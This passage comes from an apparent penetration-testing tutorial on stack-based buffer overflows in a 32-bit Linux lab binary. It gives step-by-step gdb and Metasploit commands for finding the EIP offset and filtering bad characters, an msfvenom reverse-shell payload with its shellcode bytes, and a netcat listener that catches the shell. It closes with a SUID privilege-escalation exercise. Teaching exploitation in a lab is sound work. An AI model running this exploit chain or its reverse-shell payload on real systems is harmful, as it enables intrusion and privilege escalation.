   0x00000580 <+51>:	leave  # <----------------------
   0x00000581 <+52>:	ret    # <--- Leave stack frame

Index registers

Register 32-bitRegister 64-bitDescription
ESIRSISource Index is used as a pointer from a source for string operations
EDIRDIDestination is used as a pointer to a destination for string operations

Another important point concerning the representation of the assembler is the naming of the registers. This depends on the format in which the binary was compiled. We have used GCC to compile the bow.c code in 32-bit format. Now let's compile the same code into a 64-bit format.

Compile in 64-bit Format

bash
student@nix-bow:~$ gcc bow.c -o bow64 -fno-stack-protector -z execstack -m64
student@nix-bow:~$ file bow64 | tr "," "\n"

bow64: ELF 64-bit LSB shared object
 x86-64
 version 1 (SYSV)
 dynamically linked
 interpreter /lib64/ld-linux-x86-64.so.2
 for GNU/Linux 3.2.0
 BuildID[sha1]=9503477016e8604e808215b4babb250ed25a7b99
 not stripped

So if we now look at the assembler code, we see that the addresses are twice as big, and we have almost half of the instructions as with a 32-bit compiled binary.

bash
student@nix-bow:~$ gdb -q bow64

Reading symbols from bow64...(no debugging symbols found)...done.
(gdb) disas main

Dump of assembler code for function main:
   0x00000000000006bc <+0>: 	push   rbp
   0x00000000000006bd <+1>: 	mov    rbp,rsp
   0x00000000000006c0 <+4>: 	sub    rsp,0x10
   0x00000000000006c4 <+8>:  	mov    DWORD PTR [rbp-0x4],edi
   0x00000000000006c7 <+11>:	mov    QWORD PTR [rbp-0x10],rsi
   0x00000000000006cb <+15>:	mov    rax,QWORD PTR [rbp-0x10]
   0x00000000000006cf <+19>:	add    rax,0x8
   0x00000000000006d3 <+23>:	mov    rax,QWORD PTR [rax]
   0x00000000000006d6 <+26>:	mov    rdi,rax
   0x00000000000006d9 <+29>:	call   0x68a <bowfunc>
   0x00000000000006de <+34>:	lea    rdi,[rip+0x9f]
   0x00000000000006e5 <+41>:	call   0x560 <puts@plt>
   0x00000000000006ea <+46>:	mov    eax,0x1
   0x00000000000006ef <+51>:	leave  
   0x00000000000006f0 <+52>:	ret    
End of assembler dump.

However, we will first take a look at the 32-bit version of the vulnerable binary. The most important instruction for us right now is the call instruction. The call instruction is used to call a function and performs two operations:

  1. it pushes the return address onto the stack so that the execution of the program can be continued after the function has successfully fulfilled its goal,
  2. it changes the instruction pointer (EIP) to the call destination and starting execution there.

GDB - Intel Syntax

bash
student@nix-bow:~$ gdb ./bow32 -q

Reading symbols from bow...(no debugging symbols found)...done.
(gdb) disassemble main

Dump of assembler code for function main:
   0x00000582 <+0>: 	lea    ecx,[esp+0x4]
   0x00000586 <+4>: 	and    esp,0xfffffff0
   0x00000589 <+7>: 	push   DWORD PTR [ecx-0x4]
   0x0000058c <+10>:	push   ebp
   0x0000058d <+11>:	mov    ebp,esp
   0x0000058f <+13>:	push   ebx
   0x00000590 <+14>:	push   ecx
   0x00000591 <+15>:	call   0x450 <__x86.get_pc_thunk.bx>
   0x00000596 <+20>:	add    ebx,0x1a3e
   0x0000059c <+26>:	mov    eax,ecx
   0x0000059e <+28>:	mov    eax,DWORD PTR [eax+0x4]
   0x000005a1 <+31>:	add    eax,0x4
   0x000005a4 <+34>:	mov    eax,DWORD PTR [eax]
   0x000005a6 <+36>:	sub    esp,0xc
   0x000005a9 <+39>:	push   eax
   0x000005aa <+40>:	call   0x54d <bowfunc>		# <--- CALL function
<SNIP>

Endianness

During load and save operations in registers and memories, the bytes are read in a different order. This byte order is called endianness. Endianness is distinguished between the little-endian format and the big-endian format.

Big-endian and little-endian are about the order of valence. In big-endian, the digits with the highest valence are initially. In little-endian, the digits with the lowest valence are at the beginning. Mainframe processors use the big-endian format, some RISC architectures, minicomputers, and in TCP/IP networks, the byte order is also in big-endian format.

Now, let us look at an example with the following values:

  • Address: 0xffff0000
  • Word: \xAA\xBB\xCC\xDD
Memory Address0xffff00000xffff00010xffff00020xffff0003
Big-EndianAABBCCDD
Little-EndianDDCCBBAA

This is very important for us to enter our code in the right order later when we have to tell the CPU to which address it should point.

6. Take Control of EIP

Finding the EIP offset with pattern
Cyclic pattern overflow: EIP = 0x69423569, offset calculated at 1036 bytes
EIP controlled with 0x66666666
EIP control verified: offset 1036 bytes + 4 bytes EIP = 0x66666666

_Section group: Exploit_


One of the most important aspects of a stack-based buffer overflow is to get the instruction pointer (EIP) under control, so we can tell it to which address it should jump. This will make the EIP point to the address where our shellcode starts and causes the CPU to execute it.

We can execute commands in GDB using Python, which serves us directly as input.

Segmentation Fault

bash
student@nix-bow:~$ gdb -q bow32

(gdb) run $(python -c "print '\x55' * 1200")
Starting program: /home/student/bow/bow32 $(python -c "print '\x55' * 1200")

Program received signal SIGSEGV, Segmentation fault.
0x55555555 in ?? ()

If we insert 1200 "U"s (hex "55") as input, we can see from the register information that we have overwritten the EIP. As far as we know, the EIP points to the next instruction to be executed.

bash
(gdb) info registers 

eax            0x1	1
ecx            0xffffd6c0	-10560
edx            0xffffd06f	-12177
ebx            0x55555555	1431655765
esp            0xffffcfd0	0xffffcfd0
ebp            0x55555555	0x55555555		# <---- EBP overwritten
esi            0xf7fb5000	-134524928
edi            0x0	0
eip            0x55555555	0x55555555		# <---- EIP overwritten
eflags         0x10286	[ PF SF IF RF ]
cs             0x23	35
ss             0x2b	43
ds             0x2b	43
es             0x2b	43
fs             0x0	0
gs             0x63	99

If we want to imagine the process visually, then the process looks something like this.

Buffer

🖼️ Figure: Diagram of memory layout showing sections: .text, .data, .bss, Heap, and Stack. Memory addresses range from 0x00000000 to 0xFFFFFFFF. An arrow indicates a buffer overflow from strcpy() in the Stack section, affecting ESP, EBP, and EIP registers.

This means that we have to write access to the EIP. This, in turn, allows specifying to which memory address the EIP should jump. However, to manipulate the register, we need an exact number of U's up to the EIP so that the following 4 bytes can be overwritten with our desired memory address.


Determine The Offset

The offset is used to determine how many bytes are needed to overwrite the buffer and how much space we have around our shellcode.

Shellcode is a program code that contains instructions for an operation that we want the CPU to perform. The manual creation of the shellcode will be discussed in more detail in other modules. But to save some time first, we use the Metasploit Framework (MSF) that offers a Ruby script called “pattern_create” that can help us determine the exact number of bytes to reach the EIP. It creates a unique string based on the length of bytes you specify to help determine the offset.

Create Pattern

bash
$ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1200 > pattern.txt
$ cat pattern.txt

Aa0Aa1Aa2Aa3Aa4Aa5...<SNIP>...Bn6Bn7Bn8Bn9

Now we replace our 1200 "U"s with the generated patterns and focus our attention again on the EIP.

GDB - Using Generated Pattern

bash
(gdb) run $(python -c "print 'Aa0Aa1Aa2Aa3Aa4Aa5...<SNIP>...Bn6Bn7Bn8Bn9'") 

The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/student/bow/bow32 $(python -c "print 'Aa0Aa1Aa2Aa3Aa4Aa5...<SNIP>...Bn6Bn7Bn8Bn9'")
Program received signal SIGSEGV, Segmentation fault.
0x69423569 in ?? ()

GDB - EIP

bash
(gdb) info registers eip

eip            0x69423569	0x69423569

We see that the EIP displays a different memory address, and we can use another MSF tool called "pattern_offset" to calculate the exact number of characters (offset) needed to advance to the EIP.

GDB - Offset

bash
$ /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x69423569

[*] Exact match at offset 1036

Buffer

🖼️ Figure: Memory layout diagram with sections: .text, .data, .bss, Heap, and Stack. Memory addresses range from 0x00000000 to 0xFFFFFFFF. An arrow shows a buffer overflow from strcpy() in the Stack, affecting ESP, EBP, and EIP registers, with an offset of 1036 bytes.

If we now use precisely this number of bytes for our "U"s, we should land exactly on the EIP. To overwrite it and check if we have reached it as planned, we can add 4 more bytes with "\x66" and execute it to ensure we control the EIP.

GDB Offset

bash
(gdb) run $(python -c "print '\x55' * 1036 + '\x66' * 4")

The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/student/bow/bow32 $(python -c "print '\x55' * 1036 + '\x66' * 4")
Program received signal SIGSEGV, Segmentation fault.
0x66666666 in ?? ()

Buffer

🖼️ Figure: Memory layout diagram with sections: .text, .data, .bss, Heap, and Stack. Memory addresses range from 0x00000000 to 0xFFFFFFFF. An arrow shows a buffer overflow from strcpy() in the Stack, affecting ESP, EBP, and EIP registers, with an offset of 1036 bytes and 4 bytes to EIP

Now we see that we have overwritten the EIP with our "\x66" characters. Next, we have to find out how much space we have for our shellcode, which then executes the commands we intend. As we control the EIP now, we will later overwrite it with the address pointing to our shellcode's beginning.

7. Determine the Length for Shellcode

_Section group: Exploit_


Now we should find out how much space we have for our shellcode to perform the action we want. It is trendy and useful for us to exploit such a vulnerability to get a reverse shell. First, we have to find out approximately how big our shellcode will be that we will insert, and for this, we will use msfvenom.

Shellcode - Length

bash
$ msfvenom -p linux/x86/shell_reverse_tcp LHOST=127.0.0.1 lport=31337 --platform linux --arch x86 --format c

No encoder or badchars specified, outputting raw payload
Payload size: 68 bytes
<SNIP>

We now know that our payload will be about 68 bytes. As a precaution, we should try to take a larger range if the shellcode increases due to later specifications.

Often it can be useful to insert some no operation instruction (NOPS) before our shellcode begins so that it can be executed cleanly. Let us briefly summarize what we need for this:

  1. We need a total of 1040 bytes to get to the EIP.
  2. Here, we can use an additional 100 bytes of NOPs
  3. 150 bytes for our shellcode.
bash
   Buffer = "\x55" * (1040 - 100 - 150 - 4) = 786
     NOPs = "\x90" * 100
Shellcode = "\x44" * 150
      EIP = "\x66" * 4

Buffer

🖼️ Figure: Memory layout diagram with sections: .text, .data, .bss, Heap, and Stack. Memory addresses range from 0x00000000 to 0xFFFFFFFF. An arrow shows a buffer overflow from strcpy() in the Stack, affecting ESP, EBP, and EIP registers, with a buffer, NOPs, and shellcode, offset of 1036 bytes, and 4 bytes to EIP

Now we can try to find out how much space we have available to insert our shellcode.

GDB

bash
(gdb) run $(python -c 'print "\x55" * (1040 - 100 - 150 - 4) + "\x90" * 100 + "\x44" * 150 + "\x66" * 4')

The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/student/bow/bow32 $(python -c 'print "\x55" * (1040 - 100 - 150 - 4) + "\x90" * 100 + "\x44" * 150 + "\x66" * 4')
Program received signal SIGSEGV, Segmentation fault.
0x66666666 in ?? ()

Buffer

🖼️ Figure: Memory layout diagram with sections: .text, .data, .bss, Heap, and Stack. Memory addresses range from 0x00000000 to 0xFFFFFFFF. An arrow shows a buffer overflow from strcpy() in the Stack, affecting ESP, EBP, and EIP registers, with a buffer of 786 bytes, 100 bytes of NOPs, 150 bytes of shellcode, and 4 bytes to EIP

8. Identification of Bad Characters

_Section group: Exploit_


Previously in UNIX-like operating systems, binaries started with two bytes containing a "magic number" that determines the file type. In the beginning, this was used to identify object files for different platforms. Gradually this concept was transferred to other files, and now almost every file contains a magic number.

Such reserved characters also exist in applications, but they do not always occur and are not still the same. These reserved characters, also known as bad characters can vary, but often we will see characters like this:

  • \x00 - Null Byte
  • \x0A - Line Feed
  • \x0D - Carriage Return
  • \xFF - Form Feed

Here we use the following character list to find out all characters we have to consider and to avoid when generating our shellcode.

Character List

bash
$ CHARS="\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

To calculate the number of bytes in our CHARS variable, we can use bash by replacing the "\x" with space and then use wc to count the words.

Calculate CHARS Length

bash
$ echo $CHARS | sed 's/\\x/ /g' | wc -w

256

This string is 256 bytes long. So we need to calculate our buffer again.

Notes

bash
Buffer = "\x55" * (1040 - 256 - 4) = 780
 CHARS = "\x00\x01\x02\x03\x04\x05...<SNIP>...\xfd\xfe\xff"
   EIP = "\x66" * 4

Now let us have a look at the whole main function. Because if we execute it now, the program will crash without giving us the possibility to follow what happens in the memory. So we will set a breakpoint at the corresponding function so that the execution stops at this point, and we can analyze the memory's content.

bash
(gdb) disas main
Dump of assembler code for function main:
   0x56555582 <+0>: 	lea    ecx,[esp+0x4]
   0x56555586 <+4>: 	and    esp,0xfffffff0
   0x56555589 <+7>: 	push   DWORD PTR [ecx-0x4]
   0x5655558c <+10>:	push   ebp
   0x5655558d <+11>:	mov    ebp,esp
   0x5655558f <+13>:	push   ebx
   0x56555590 <+14>:	push   ecx
   0x56555591 <+15>:	call   0x56555450 <__x86.get_pc_thunk.bx>
   0x56555596 <+20>:	add    ebx,0x1a3e
   0x5655559c <+26>:	mov    eax,ecx
   0x5655559e <+28>:	mov    eax,DWORD PTR [eax+0x4]
   0x565555a1 <+31>:	add    eax,0x4
   0x565555a4 <+34>:	mov    eax,DWORD PTR [eax]
   0x565555a6 <+36>:	sub    esp,0xc
   0x565555a9 <+39>:	push   eax
   0x565555aa <+40>:	call   0x5655554d <bowfunc>		# <---- bowfunc Function
   0x565555af <+45>:	add    esp,0x10
   0x565555b2 <+48>:	sub    esp,0xc
   0x565555b5 <+51>:	lea    eax,[ebx-0x1974]
   0x565555bb <+57>:	push   eax
   0x565555bc <+58>:	call   0x565553e0 <puts@plt>
   0x565555c1 <+63>:	add    esp,0x10
   0x565555c4 <+66>:	mov    eax,0x1
   0x565555c9 <+71>:	lea    esp,[ebp-0x8]
   0x565555cc <+74>:	pop    ecx
   0x565555cd <+75>:	pop    ebx
   0x565555ce <+76>:	pop    ebp
   0x565555cf <+77>:	lea    esp,[ecx-0x4]
   0x565555d2 <+80>:	ret    
End of assembler dump.

To set the breakpoint, we give the command "break" with the corresponding function name.

GDB Breakpoint

bash
(gdb) break bowfunc 

Breakpoint 1 at 0x56555551

And now, we can execute the newly created input and look at the memory.

Send CHARS

bash
(gdb) run $(python -c 'print "\x55" * (1040 - 256 - 4) + "\x00\x01\x02\x03\x04\x05...<SNIP>...\xfc\xfd\xfe\xff" + "\x66" * 4')

Starting program: /home/student/bow/bow32 $(python -c 'print "\x55" * (1040 - 256 - 4) + "\x00\x01\x02\x03\x04\x05...<SNIP>...\xfc\xfd\xfe\xff" + "\x66" * 4')
/bin/bash: warning: command substitution: ignored null byte in input

Breakpoint 1, 0x56555551 in bowfunc ()

After we have executed our buffer with the bad characters and reached the breakpoint, we can look at the stack.

The Stack

bash
(gdb) x/2000xb $esp+500

0xffffd28a:	0xbb	0x69	0x36	0x38	0x36	0x00	0x00	0x00
0xffffd292:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0xffffd29a:	0x00	0x2f	0x68	0x6f	0x6d	0x65	0x2f	0x73
0xffffd2a2:	0x74	0x75	0x64	0x65	0x6e	0x74	0x2f	0x62
0xffffd2aa:	0x6f	0x77	0x2f	0x62	0x6f	0x77	0x33	0x32
0xffffd2b2:	0x00    0x55	0x55	0x55	0x55	0x55	0x55	0x55
				 # |---> "\x55"s begin

0xffffd2ba: 0x55	0x55	0x55	0x55	0x55	0x55	0x55	0x55
0xffffd2c2: 0x55	0x55	0x55	0x55	0x55	0x55	0x55	0x55
<SNIP>

Here we recognize at which address our "\x55" begins. From here, we can go further down and look for the place where our CHARS start.

The Stack - CHARS

bash
<SNIP>
0xffffd5aa:	0x55	0x55	0x55	0x55	0x55	0x55	0x55	0x55
0xffffd5b2:	0x55	0x55	0x55	0x55	0x55	0x55	0x55	0x55
0xffffd5ba:	0x55	0x55	0x55	0x55	0x55	0x01	0x02	0x03
												 # |---> CHARS begin

0xffffd5c2:	0x04	0x05	0x06	0x07	0x08	0x00	0x0b	0x0c
0xffffd5ca:	0x0d	0x0e	0x0f	0x10	0x11	0x12	0x13	0x14
0xffffd5d2:	0x15	0x16	0x17	0x18	0x19	0x1a	0x1b	0x1c
<SNIP>

We see where our "\x55" ends, and the CHARS variable begins. But if we look closely at it, we will see that it starts with "\x01" instead of "\x00". We have already seen the warning during the execution that the null byte in our input was ignored.

So we can note this character, remove it from our variable CHARS and adjust the number of our "\x55".

Notes

bash
# Substract the number of removed characters
Buffer = "\x55" * (1040 - 255 - 4) = 781

# "\x00" removed: 256 - 1 = 255 bytes
 CHARS = "\x01\x02\x03...<SNIP>...\xfd\xfe\xff"
 
   EIP = "\x66" * 4

Send CHARS - Without Null Byte

bash
(gdb) run $(python -c 'print "\x55" * (1040 - 255 - 4) + "\x01\x02\x03\x04\x05...<SNIP>...\xfc\xfd\xfe\xff" + "\x66" * 4')

The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/student/bow/bow32 $(python -c 'print "\x55" * (1040 - 255 - 4) + "\x01\x02\x03\x04\x05...<SNIP>...\xfc\xfd\xfe\xff" + "\x66" * 4')
Breakpoint 1, 0x56555551 in bowfunc ()

The Stack

bash
(gdb) x/2000xb $esp+550

<SNIP>
0xffffd5ba:	0x55	0x55	0x55	0x55	0x55	0x01	0x02	0x03
0xffffd5c2:	0x04	0x05	0x06	0x07	0x08	0x00	0x0b	0x0c
												 # |----| <- "\x09" expected

0xffffd5ca:	0x0d	0x0e	0x0f	0x10	0x11	0x12	0x13	0x14
<SNIP>

Here it depends on our bytes' correct order in the variable CHARS to see if any character changes, interrupts, or skips the order. Now we recognize that after the "\x08", we encounter the "\x00" instead of the "\x09" as expected. This tells us that this character is not allowed here and must be removed accordingly.

Notes

bash
# Substract the number of removed characters
Buffer = "\x55" * (1040 - 254 - 4) = 782	

# "\x00" & "\x09" removed: 256 - 2 = 254 bytes
 CHARS = "\x01\x02\x03\x04\x05\x06\x07\x08\x0a\x0b...<SNIP>...\xfd\xfe\xff" 
 
   EIP = "\x66" * 4

Send CHARS - Without "\x00" & "\x09"

bash
(gdb) run $(python -c 'print "\x55" * (1040 - 254 - 4) + "\x01\x02\x03\x04\x05\x06\x07\x08\x0a\x0b...<SNIP>...\xfc\xfd\xfe\xff" + "\x66" * 4')

The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/student/bow/bow32 $(python -c 'print "\x55" * (1040 - 254 - 4) + "\x01\x02\x03\x04\x05\x06\x07\x08\x0a\x0b...<SNIP>...\xfc\xfd\xfe\xff" + "\x66" * 4')
Breakpoint 1, 0x56555551 in bowfunc ()

The Stack

bash
(gdb) x/2000xb $esp+550

<SNIP>
0xffffd5ba:	0x55	0x55	0x55	0x55	0x55	0x01	0x02	0x03
0xffffd5c2:	0x04	0x05	0x06	0x07	0x08	0x00	0x0b	0x0c
												 # |----| <- "\x0a" expected

0xffffd5ca:	0x0d	0x0e	0x0f	0x10	0x11	0x12	0x13	0x14
<SNIP>

This process must be repeated until all characters that could interrupt the flow are removed.

9. Generating Shellcode

_Section group: Exploit_


We already got to know the tool msfvenom with which we generated our shellcode's approximate length. Now we can use this tool again to generate the actual shellcode, which makes the CPU of our target system execute the command we want to have.

But before we generate our shellcode, we have to make sure that the individual components and properties match the target system. Therefore we have to pay attention to the following areas:

  • Architecture
  • Platform
  • Bad Characters

MSFvenom Syntax

bash
$ msfvenom -p linux/x86/shell_reverse_tcp lhost=<LHOST> lport=<LPORT> --format c --arch x86 --platform linux --bad-chars "<chars>" --out <filename>

MSFvenom - Generate Shellcode

bash
$ msfvenom -p linux/x86/shell_reverse_tcp lhost=127.0.0.1 lport=31337 --format c --arch x86 --platform linux --bad-chars "\x00\x09\x0a\x20" --out shellcode

Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 95 (iteration=0)
x86/shikata_ga_nai chosen with final size 95
Payload size: 95 bytes
Final size of c file: 425 bytes
Saved as: shellcode

Shellcode

bash
$ cat shellcode

unsigned char buf[] = 
"\xda\xca\xba\xe4\x11\xd4\x5d\xd9\x74\x24\xf4\x58\x29\xc9\xb1"
"\x12\x31\x50\x17\x03\x50\x17\x83\x24\x15\x36\xa8\x95\xcd\x41"
"\xb0\x86\xb2\xfe\x5d\x2a\xbc\xe0\x12\x4c\x73\x62\xc1\xc9\x3b"
<SNIP>

Now that we have our shellcode, we adjust it to have only one string, and then we can adapt and submit our simple exploit again.

Notes

bash
   Buffer = "\x55" * (1040 - 124 - 95 - 4) = 817
     NOPs = "\x90" * 124
Shellcode = "\xda\xca\xba\xe4\x11...<SNIP>...\x5a\x22\xa2"
      EIP = "\x66" * 4'

Exploit with Shellcode

bash
(gdb) run $(python -c 'print "\x55" * (1040 - 124 - 95 - 4) + "\x90" * 124 + "\xda\xca\xba\xe4...<SNIP>...\xad\xec\xa0\x04\x5a\x22\xa2" + "\x66" * 4')

The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/student/bow/bow32 $(python -c 'print "\x55" * (1040 - 124 - 95 - 4) + "\x90" * 124 + "\xda\xca\xba\xe4...<SNIP>...\xad\xec\xa0\x04\x5a\x22\xa2" + "\x66" * 4')

Breakpoint 1, 0x56555551 in bowfunc ()

Next, we check if the first bytes of our shellcode match the bytes after the NOPS.

The Stack

bash
(gdb) x/2000xb $esp+550

<SNIP>
0xffffd64c:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xffffd654:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xffffd65c:	0x90	0x90	0xda	0xca	0xba	0xe4	0x11	0xd4
						 # |----> Shellcode begins
<SNIP>

10. Identification of the Return Address

_Section group: Exploit_


After checking that we still control the EIP with our shellcode, we now need a memory address where our NOPs are located to tell the EIP to jump to it. This memory address must not contain any of the bad characters we found previously.

GDB NOPS

bash
(gdb) x/2000xb $esp+1400

<SNIP>
0xffffd5ec:	0x55	0x55	0x55	0x55	0x55	0x55	0x55	0x55
0xffffd5f4:	0x55	0x55	0x55	0x55	0x55	0x55	0x90	0x90
								# End of "\x55"s   ---->|  |---> NOPS
0xffffd5fc:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xffffd604:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xffffd60c:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xffffd614:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xffffd61c:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xffffd624:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xffffd62c:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xffffd634:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xffffd63c:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xffffd644:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xffffd64c:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xffffd654:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xffffd65c:	0x90	0x90	0xda	0xca	0xba	0xe4	0x11	0xd4
						 # |---> Shellcode
<SNIP>

Here, we now have to choose an address to which we refer the EIP and which reads and executes one byte after the other starting at this address. In this example, we take the address 0xffffd64c. Illustrated, it then looks like this:

Buffer

🖼️ Figure: Memory layout diagram with sections: .text, .data, .bss, Heap, and Stack. Memory addresses range from 0x00000000 to 0xFFFFFFFF. An arrow shows a buffer overflow from strcpy() in the Stack, affecting ESP, EBP, and EIP registers, with a buffer of 841 bytes, 100 bytes of NOPs, 95 bytes of shellcode, and 4 bytes to EIP

After selecting a memory address, we replace our "\x66" which overwrites the EIP to tell it to jump to the 0xffffd64c address. Note that the input of the address is entered backward.

Notes

bash
   Buffer = "\x55" * (1040 - 100 - 95 - 4) = 841
     NOPs = "\x90" * 100
Shellcode = "\xda\xca\xba\xe4\x11\xd4...<SNIP>...\x5a\x22\xa2"
      EIP = "\x4c\xd6\xff\xff"

Since our shellcode creates a reverse shell, we let netcat listen on port 31337.

Netcat - Reverse Shell Listener

bash
student@nix-bow:$ nc -nlvp 31337

Listening on [0.0.0.0] (family 0, port 31337)

After starting our netcat listener, we now run our adapted exploit again, which then triggers the CPU to connect to our listener.

Exploitation

bash
(gdb) run $(python -c 'print "\x55" * (1040 - 100 - 95 - 4) + "\x90" * 100 + "\xda\xca\xba...<SNIP>...\x5a\x22\xa2" + "\x4c\xd6\xff\xff"')

Netcat - Reverse Shell Listener

bash
Listening on [0.0.0.0] (family 0, port 31337)
Connection from 127.0.0.1 33504 received!

id

uid=1000(student) gid=1000(student) groups=1000(student),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)

We now see that we got a connection from the local IP address. However, it is not obvious if we have a shell. So we type the command "id" to get more information about the user. If we get a return value with information, we know that we are in a shell, as shown in the example.

11. Public Exploit Modification

_Section group: Proof-Of-Concept_


It can happen that during our penetration test, we come across outdated software and find an exploit that exploits an already known vulnerability. These exploits often contain intentional errors in the code. These errors often serve as a security measure because inexperienced beginners cannot directly execute these vulnerabilities to prevent harm to the individuals and organizations that may

be affected by this vulnerability.

To edit and customize them, the most important thing is to understand how the vulnerability works, what function the vulnerability is in, and how to trigger execution. With almost all exploits, we will have to adapt the shellcode to our conditions. Instead, it depends on the complexity of the exploit.

It plays a significant role in whether the shellcode has been adapted to the protection mechanisms or not. In this case, our shellcode with a different length can have an unwanted effect. Such exploits can be written in different languages or only as a description.

The exploits may be different from the operating system, resulting in a different instruction, for example. It is essential to set up an identical system where we can try our exploit before running it blind on our target system. Such exploits can cause the system to crash, preventing us from further testing the service. Since it is part of our everyday life to continually find our way in new environments and always learn to keep the overview, we have to use new situations to improve and perfect this ability. Therefore we can use two applications to train these skills.

12. Prevention Techniques and Mechanisms

_Section group: Proof-Of-Concept_


The best protection against buffer overflows is security-conscious programming. Software developers should inform themselves about the relevant pitfalls and strive for deliberately secure programming. Besides, there are security mechanisms that support developers and prevent users from exploiting such vulnerabilities.

These include security mechanisms:

  • Canaries
  • Address Space Layout Randomization (ASLR)
  • Data Execution Prevention (DEP)

Canaries

The canaries are known values written to the stack between buffer and control data to detect buffer overflows. The principle is that in case of a buffer overflow, the canary would be overwritten first and that the operating system checks during runtime that the canary is present and unaltered.


Address Space Layout Randomization (ASLR)

Address Space Layout Randomization (ASLR) is a security mechanism against buffer overflows. It makes some types of attacks more difficult by making it difficult to find target addresses in memory. The operating system uses ASLR to hide the relevant memory addresses from us. So the addresses need to be guessed, where a wrong address most likely causes a crash of the program, and accordingly, only one attempt exists.


Data Execution Prevention (DEP)

DEP is a security feature available in Windows XP, and later with Service Pack 2 (SP2) and above, programs are monitored during execution to ensure that they access memory areas cleanly. DEP terminates the program if a program attempts to call or access the program code in an unauthorized manner.

13. Skills Assessment - Buffer Overflow

_Section group: Skills Assessment_


We were able to gain SSH access to a Linux machine whose password was reused by another machine during our penetration test.

On this machine, we have a standard user "htb-student" who can leave a message to the administrator using a self-written program called "leave_msg." Since the target company pays a lot of attention to defense from outside their network, and the administrator's appearance showed high self-confidence, it may indicate that local security was disregarded.

After our research, we found out that these messages are stored in "/htb-student/msg.txt," which is binary owned by the user root, and the SUID bit is set.

Examine the program and find out if it is vulnerable to a Stack-Based Buffer Overflow. If you have found the vulnerability, then use it to read the file "/root/flag.txt" placed on the system as proof.